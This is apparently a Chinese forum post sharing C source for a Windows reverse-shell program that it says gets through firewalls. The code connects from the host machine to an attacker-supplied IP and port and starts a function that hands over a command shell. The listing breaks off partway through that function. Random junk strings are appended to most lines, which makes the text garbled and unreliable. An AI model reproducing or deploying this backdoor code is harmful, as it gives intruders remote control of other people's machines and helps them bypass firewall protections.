这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ocWl]h].
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/* ============================== eLPtdP5k
Rebound port in Windows NT :JG5)H}j+
By wind,2006/7 S1Y,5,}
===============================*/ F$tzsz,9n
#include j!i*&
#include }.)R#hG?
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#pragma comment(lib,"wsock32.lib") Ebs]]a>PO
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void OutputShell(); 1a(\F7
SOCKET sClient; [;,E cw^
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /kG?I_z
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void main(int argc,char **argv) xbhHP2F|
{ KJoa^e;~
WSADATA stWsaData; C]mp<
int nRet; `RSiZ%Al
SOCKADDR_IN stSaiClient,stSaiServer; g]L8Jli
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if(argc != 3) kR
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{ YQC.jnb2
printf("Useage:\n\rRebound DestIP DestPort\n"); eK1l~W%
return; U.SC,;N^
} ,c`6-
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WSAStartup(MAKEWORD(2,2),&stWsaData); a. D cmy{
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W)r|9G8T
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stSaiClient.sin_family = AF_INET; ,^c-}`!K
stSaiClient.sin_port = htons(0); Hif|z[0$
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Ne|CWUhO
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 3l~7
{ npkT>dB+
printf("Bind Socket Failed!\n"); nw/g[/<;
return; VO:
} {=
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stSaiServer.sin_family = AF_INET; #]c_2V
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 9'H:pb2
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); TxQsi"0c
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) }o!b3*#
{ *y<eK0
printf("Connect Error!"); ^^ix4[1$Z
return; Hfj.8$
} "})OLa
OutputShell(); P|ibUxSA~,
} 09vVCM;DY
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void OutputShell()
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{ (kX:@9Pn
char szBuff[1024]; ~P}ng{x4z
SECURITY_ATTRIBUTES stSecurityAttributes; XLiwE$:t%
OSVERSIONINFO stOsversionInfo; m\&99-j:@b
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; &k*oG:J3
STARTUPINFO stStartupInfo; L:&